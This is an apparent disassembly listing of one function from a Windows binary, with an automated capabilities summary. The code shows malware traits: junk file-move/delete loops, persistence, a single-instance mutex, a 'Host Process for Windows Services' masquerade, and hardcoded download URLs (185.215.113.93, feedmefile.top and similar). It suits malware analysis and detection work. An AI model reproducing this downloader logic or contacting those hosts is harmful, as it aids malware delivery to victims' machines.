Function at 0x411460
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create directory
Create http request
Create new key via cryptacquirecontext
Create thread
Delete file
Hide graphical window
Move file
Persist via run registry key
Persist via windows service
Query environment variable
Reference http user-agent string
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10bc
call fcn.004140a0
push esi
push edi
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x4c4], 0
mov dword [ebp - 0x990], 0x236e
mov eax, dword [ebp - 0x4c4]
cmp eax, dword [ebp - 0x990]
jae 0x411d35
push 0
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0xfc0], eax
cmp dword [ebp - 0xfc0], 0
je 0x411bfe
push 0x1194
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0xfe4], 0
jmp 0x4114f1
mov ecx, dword [ebp - 0xfe4]
add ecx, 1
mov dword [ebp - 0xfe4], ecx
cmp dword [ebp - 0xfe4], 0x5a
jge 0x41153d
push str.f5d4s54s4sds5d5d5d
push str.w4tw84thw4h8th8w4h8t
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.e5u5eue5ue5ue5ue5u
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4114e2
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.e5u5eue5ue5ue5ue5u
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.e5u5eue5ue5ue5ue5u
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.e5u5eue5ue5ue5ue5u
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_89.0.4389.90_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0xfd8], eax
push str.w4twywyw4yw4yw4yw4y
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [ebp - 0xfd8], 0
je 0x4116f3
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.e5u5eue5ue5ue5ue5u
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4yw4t4tw4twyw4y
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0
push 0
push 0
push str.http:__www.w4tw4tw4tw4t4.jo_
mov edx, dword [ebp - 0xfd8]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0xfcc], eax
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0xfcc], 0
je 0x4116db
mov dword [ebp - 0xfe8], 0
jmp 0x411681
mov eax, dword [ebp - 0xfe8]
add eax, 1
mov dword [ebp - 0xfe8], eax
cmp dword [ebp - 0xfe8], 0xfa
jge 0x4116db
push str.e5u5eue5ue5ue5ue5u
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.f5d4s54s4sds5d5d5d
push str.w4tw84thw4h8th8w4h8t
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x411672
mov ecx, dword [ebp - 0xfcc]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push str.w4yw4t4tw4twyw4y
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1b58
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0xfd8]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
mov eax, dword [ebp - 0xfc0]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 0xfc0]
push ecx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, dword [ebp - 0xfc0]
push edx
call dword [sym.imp.USER32.dll_CloseWindow]
push str.3r3hr8h38h8h38f8hff
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov dword [ebp - 0xfe0], 0x36
mov dword [ebp - 0xfd0], 0x2c
mov eax, dword [ebp - 0xfe0]
add eax, dword [ebp - 0xfd0]
mov dword [ebp - 0xfdc], eax
cmp dword [ebp - 0xfdc], 0x190
jge 0x411a1e
push str.e5u5eue5ue5ue5ue5u
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.e5u5eue5ue5ue5ue5u
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.3r3hr8h38h8h38f8hff
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push str.3rvr3r3bru3urbu3rbub
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0xfec], eax
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_89.0.4389.90_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0xfd8], eax
cmp dword [ebp - 0xfd8], 0
je 0x4118e3
push str.e5u5eue5ue5ue5ue5u
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0
push 0
push 0
push str.http:__www.w4tw4tw4tw4t4.jo_
mov ecx, dword [ebp - 0xfd8]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0xfcc], eax
cmp dword [ebp - 0xfcc], 0
je 0x4118cb
push str.e5u5eue5ue5ue5ue5u
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.e5u5eue5ue5ue5ue5u
push str.w4yw4t4tw4twyw4y
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.f5d4s54s4sds5d5d5d
push str.w4tw84thw4h8th8w4h8t
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4yw4t4tw4twyw4y
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, dword [ebp - 0xfcc]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0xdac
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0xfd8]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0xfec], 0
je 0x411a1e
push str.e5u5eue5ue5ue5ue5u
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 0xfec]
push ecx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_89.0.4389.90_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0xfd8], eax
cmp dword [ebp - 0xfd8], 0
je 0x411a11
push 0
push 0
push 0
push 0
push str.http:__www.w4tw4tw4tw4t4.jo_
mov edx, dword [ebp - 0xfd8]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0xfcc], eax
cmp dword [ebp - 0xfcc], 0
je 0x4119b0
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.e5u5eue5ue5ue5ue5u
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0xfcc]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.f5d4s54s4sds5d5d5d
push str.w4tw84thw4h8th8w4h8t
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.e5u5eue5ue5ue5ue5u
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.3r3hr8h38h8h38f8hff
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0xfd8]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [ebp - 0xfd4], 0x15e5
mov dword [ebp - 0xfc4], 0xf6
mov edx, dword [ebp - 0xfd4]
cmp edx, dword [ebp - 0xfc4]
jbe 0x411ab7
push 0
push str.3r3hr8h38h8h38f8hff
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0xff0], eax
cmp dword [ebp - 0xff0], 0
je 0x411ab2
push str.e5u5eue5ue5ue5ue5u
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4yw4t4tw4twyw4y
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0xfc4]
add eax, 1
mov dword [ebp - 0xfc4], eax
jmp 0x411a32
push str.3rvr3r3bru3urbu3rbub
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x411b02
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4yw4t4tw4twyw4y
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4twywyw4yw4yw4yw4y
push str.w4yw4t4tw4twyw4y
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
push str.38fh83hf83hf83hf38h
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0xfc8], eax
cmp dword [ebp - 0xfc8], 0
je 0x411baa
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4yw4t4tw4twyw4y
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 0xfc0]
push ecx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
mov edx, dword [ebp - 0xfc0]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x3a98
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3rvr3r3bru3urbu3rbub
push str.w4tw84thw4h8th8w4h8t
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
mov eax, dword [ebp - 0xfc0]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0xff4], 0
jmp 0x411bc5
mov ecx, dword [ebp - 0xff4]
add ecx, 1
mov dword [ebp - 0xff4], ecx
cmp dword [ebp - 0xff4], 0x320
jge 0x411bfe
push str.e5u5eue5ue5ue5ue5u
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4yw4t4tw4twyw4y
push str.e5u5eue5ue5ue5ue5u
call dword [sym.imp.KERNEL32.dll_MoveFileW]
jmp 0x411bb6
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x411d21
mov dword [ebp - 0xffc], 0
jmp 0x411c2c
mov edx, dword [ebp - 0xffc]
add edx, 1
mov dword [ebp - 0xffc], edx
cmp dword [ebp - 0xffc], 0xbb8
jge 0x411c4a
push str.w4yw4t4tw4twyw4y
push str.e5u5eue5ue5ue5ue5u
call dword [sym.imp.KERNEL32.dll_MoveFileW]
jmp 0x411c1d
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push str.3r3hr8h38h8h38f8hff
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0xff8], eax
cmp dword [ebp - 0xff8], 0
je 0x411cc7
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0xfc0]
push eax
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push str.w4yw4t4tw4twyw4y
push str.e5u5eue5ue5ue5ue5u
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov ecx, dword [ebp - 0xfc0]
push ecx
call dword [sym.imp.USER32.dll_SetFocus]
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x1000], 0
jmp 0x411ce2
mov edx, dword [ebp - 0x1000]
add edx, 1
mov dword [ebp - 0x1000], edx
cmp dword [ebp - 0x1000], 0x258
jge 0x411d21
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4yw4t4tw4twyw4y
push str.e5u5eue5ue5ue5ue5u
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x411cd3
mov eax, dword [ebp - 0x4c4]
add eax, 1
mov dword [ebp - 0x4c4], eax
jmp 0x41148e
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00410210
movzx ecx, al
cmp ecx, 1
je 0x411d5a
call fcn.004101c0
movzx edx, al
cmp edx, 1
jne 0x411d62
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [str.efefg3r]
mov dword [ebp - 0x4c0], eax
mov ecx, dword [0x4170e8]
mov dword [ebp - 0x4bc], ecx
mov edx, dword [0x4170ec]
mov dword [ebp - 0x98c], edx
mov eax, dword [0x4170f0]
mov dword [ebp - 0x988], eax
mov ecx, dword [0x4170f4]
mov dword [ebp - 0x984], ecx
mov edx, dword [0x4170f8]
mov dword [ebp - 0x980], edx
mov eax, dword [0x4170fc]
mov dword [ebp - 0x97c], eax
mov ecx, dword [0x417100]
mov dword [ebp - 0x978], ecx
mov ecx, 0x11
mov esi, str.Host_Process_for_Windows_Services
lea edi, [ebp - 0x4b8]
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x738], str.http:__185.215.113.93_
mov dword [ebp - 0x734], str.http:__feedmefile.top_
mov dword [ebp - 0x730], str.http:__gotsomefile.top_
mov dword [ebp - 0x72c], str.http:__gimmefile.top_
mov dword [ebp - 0xf98], str.cc11
mov dword [ebp - 0xf94], str.cc22
mov dword [ebp - 0xf90], str.cc33
mov dword [ebp - 0xf8c], str.cc44
mov dword [ebp - 0xf88], str.cc55
mov dword [ebp - 0xf84], str.cc66
mov dword [ebp - 0xfbc], str._systemdrive_
mov dword [ebp - 0xfb8], str._userprofile_
mov dword [ebp - 0xfb4], str._temp_
mov edx, dword [0x417220]
mov dword [ebp - 0x4d8], edx
mov eax, dword [0x417224]
mov dword [ebp - 0x4d4], eax
mov ecx, dword [0x417228]
mov dword [ebp - 0x4d0], ecx
mov edx, dword [0x41722c]
mov dword [ebp - 0x4cc], edx
mov ax, word [0x417230]
mov word [ebp - 0x4c8], ax
mov cl, byte [0x417232]
mov byte [ebp - 0x4c6], cl
mov ecx, 7
mov esi, 0x417234
lea edi, [ebp - 0x95c]
rep movsd dword es:[edi], dword [esi]
mov ecx, 6
mov esi, 0x417250
lea edi, [ebp - 0x46c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 0xb
mov esi, 0x41726c
lea edi, [ebp - 0x728]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x10
mov esi, 0x4172a0
lea edi, [ebp - 0xf40]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edx, dword [0x4172e4]
mov dword [ebp - 0xfb0], edx
mov eax, dword [0x4172e8]
mov dword [ebp - 0xfac], eax
mov ecx, dword [0x4172ec]
mov dword [ebp - 0xfa8], ecx
mov edx, dword [0x4172f0]
mov dword [ebp - 0xfa4], edx
mov eax, dword [0x4172f4]
mov dword [ebp - 0xfa0], eax
mov ecx, dword [0x4172f8]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [0x4172fc]
mov dword [ebp - 0x6f4], edx
mov eax, dword [0x417300]
mov dword [ebp - 0x6f0], eax
mov ecx, dword [0x417304]
mov dword [ebp - 0x6ec], ecx
mov dx, word [0x417308]
mov word [ebp - 0x6e8], dx
mov ecx, 5
mov esi, 0x41730c
lea edi, [ebp - 0xf80]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov eax, dword [0x417324]
mov dword [ebp - 0x450], eax
mov ecx, dword [0x417328]
mov dword [ebp - 0x44c], ecx
mov edx, dword [0x41732c]
mov dword [ebp - 0x448], edx
mov eax, dword [0x417330]
mov dword [ebp - 0x444], eax
mov cl, byte [0x417334]
mov byte [ebp - 0x440], cl
mov edx, dword [0x417338]
mov dword [ebp - 0xec8], edx
mov eax, dword [0x41733c]
mov dword [ebp - 0xec4], eax
mov ecx, dword [0x417340]
mov dword [ebp - 0xec0], ecx
mov edx, dword [0x417344]
mov dword [ebp - 0xebc], edx
mov eax, dword [0x417348]
mov dword [ebp - 0xeb8], eax
mov cx, word [0x41734c]
mov word [ebp - 0xeb4], cx
mov edx, dword [0x417350]
mov dword [ebp - 0xef4], edx
mov eax, dword [0x417354]
mov dword [ebp - 0xef0], eax
mov ecx, dword [0x417358]
mov dword [ebp - 0xeec], ecx
mov edx, dword [0x41735c]
mov dword [ebp - 0xee8], edx
mov al, byte [0x417360]
mov byte [ebp - 0xee4], al
mov ecx, dword [0x417364]
mov dword [ebp - 0x974], ecx
mov edx, dword [0x417368]
mov dword [ebp - 0x970], edx
mov eax, dword [0x41736c]
mov dword [ebp - 0x96c], eax
mov ecx, dword [0x417370]
mov dword [ebp - 0x968], ecx
mov edx, dword [0x417374]
mov dword [ebp - 0x964], edx
mov ax, word [0x417378]
mov word [ebp - 0x960], ax
mov ecx, 9
mov esi, 0x41737c
lea edi, [ebp - 0x43c]
rep movsd dword es:[edi], dword [esi]
mov ecx, 0xa
mov esi, 0x4173a0
lea edi, [ebp - 0xf68]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x4c0]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0xf9c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4120c8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x6e4], 0
mov dword [ebp - 0x20c], 1
mov dword [ebp - 0x4c4], 0
mov dword [ebp - 0x990], 0x236e
mov edx, dword [ebp - 0x4c4]
cmp edx, dword [ebp - 0x990]
jae 0x4126be
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x41224e
push str.f5d4s54s4sds5d5d5d
push str.w4tw84thw4h8th8w4h8t
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.f5d4s54s4sds5d5d5d
push str.w4tw84thw4h8th8w4h8t
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov dword [ebp - 0x100c], 0
jmp 0x41215b
mov eax, dword [ebp - 0x100c]
add eax, 1
mov dword [ebp - 0x100c], eax
cmp dword [ebp - 0x100c], 0xfa0
jge 0x412184
push str.f5d4s54s4sds5d5d5d
push str.w4tw84thw4h8th8w4h8t
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x41214c
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push str.3r3hr8h38h8h38f8hff
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x1008], eax
cmp dword [ebp - 0x1008], 0
je 0x4121f3
push str.w4yw4t4tw4twyw4y
push str.e5u5eue5ue5ue5ue5u
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
push str.3r3hr8h38h8h38f8hff
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.f5d4s54s4sds5d5d5d
push str.w4tw84thw4h8th8w4h8t
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x1010], 0
jmp 0x41220e
mov ecx, dword [ebp - 0x1010]
add ecx, 1
mov dword [ebp - 0x1010], ecx
cmp dword [ebp - 0x1010], 0x1194
jge 0x41224e
push 0
push str.3r3hr8h38h8h38f8hff
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str.w4yw4t4tw4twyw4y
push str.e5u5eue5ue5ue5ue5u
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.w4twywyw4yw4yw4yw4y
push str.w4yw4t4tw4twyw4y
call dword [sym.imp.KERNEL32.dll_MoveFileW]
jmp 0x4121ff
push 0
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x1004], eax
cmp dword [ebp - 0x1004], 0
je 0x4126aa
push str.f5d4s54s4sds5d5d5d
push str.w4tw84thw4h8th8w4h8t
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x1f40
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.e5u5eue5ue5ue5ue5u
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.3rvr3r3bru3urbu3rbub
push str.3r3hr8h38h8h38f8hff
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_89.0.4389.90_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x1028], eax
push str.3r3hr8h38h8h38f8hff
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push str.3r3hr8h38h8h38f8hff
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_CopyFileA]
cmp dword [ebp - 0x1028], 0
je 0x412350
push str.3r3hr8h38h8h38f8hff
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 0
push 0
push 0
push str.http:__www.w4tw4tw4tw4t4.jo_
mov edx, dword [ebp - 0x1028]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x101c], eax
cmp dword [ebp - 0x101c], 0
je 0x412338
push str.w4yw4t4tw4twyw4y
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x101c]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x1028]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push str.3rvr3r3bru3urbu3rbub
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x41238c
push str.f5d4s54s4sds5d5d5d
push str.w4tw84thw4h8th8w4h8t
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.w4twywyw4yw4yw4yw4y
push str.w4yw4t4tw4twyw4y
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
push str.38fh83hf83hf83hf38h
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x1018], eax
cmp dword [ebp - 0x1018], 0
je 0x4123c5
push str.f5d4s54s4sds5d5d5d
push str.w4tw84thw4h8th8w4h8t
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov edx, dword [ebp - 0x1004]
push edx
call dword [sym.imp.USER32.dll_CloseWindow]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r3hr8h38h8h38f8hff
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.e5u5eue5ue5ue5ue5u
push str.w4tw4yw4yw4tw4t
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x1004]
push eax
call dword [sym.imp.USER32.dll_SetFocus]
mov dword [ebp - 0x1030], 0x5a
mov dword [ebp - 0x1020], 0x32
mov ecx, dword [ebp - 0x1030]
add ecx, dword [ebp - 0x1020]
mov dword [ebp - 0x102c], ecx
cmp dword [ebp - 0x102c], 0x2710
jge 0x412607
push str.3r3hr8h38h8h38f8hff
push str.f5d4s54s4sds5d5d5d
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
push str.3rvr3r3bru3urbu3rbub
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x1034], eax
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_89.0.4389.90_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x1028], eax
cmp dword [ebp - 0x1028], 0
je 0x412502
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push str.http:__www.w4tw4tw4tw4t4.jo_
mov edx, dword [ebp - 0x1028]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x101c], eax
cmp dword [ebp - 0x101c], 0
je 0x4124ed
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.f5d4s54s4sds5d5d5d
push str.w4tw84thw4h8th8w4h8t
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.w4tw84thw4h8th8w4h8t
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.e5u5eue5ue5ue5ue5u
push str.w4yw4t4tw4twyw4y
call dword [sym.imp.KERNEL32.dll_MoveFileW]
